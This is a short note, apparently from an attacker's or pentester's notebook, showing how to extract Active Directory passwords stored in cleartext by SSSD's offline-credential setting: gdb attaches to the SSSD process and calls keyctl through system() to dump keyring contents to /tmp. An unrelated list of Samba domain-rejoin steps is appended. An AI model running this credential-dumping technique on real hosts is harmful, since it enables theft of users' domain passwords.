[domain/example.com] krb5_store_password_if_offline = true
for who ever this interest, if you enable krb5_store_password_if_offline in the SSSD configuration, the AD password for accounts is stored in plaintext in the kernel keyring
to dump the clear text password you can do :
```
gdb -p <PID_OF_SSSD>
call system("keyctl show > /tmp/output")
```
From the /tmp/output locate the key_id for the user you want
Example of an output is :
Session Keyring
204928979 --alswrv 0 0 keyring: _ses
471547288 --alswrv 0 0 \_ user: user@evilcorp.local
now again in GDB do the following :
```
call system("keyctl print 471547288 > /tmp/output") # or whatever key_id from the past output
```
enjoy the cleartext password in /tmp/output :)

- stop smbd, nmbd and winbindd (make sure they are really dead using ps. winbindd still lingered after I stopped the service)
- delete the samba from the PDC (using the Management Console)
- delete the secrets database (/var/lib/samba/secrets.tdb)
- join the domain again
- start the daemons again (smbd, nmbd and winbindd)
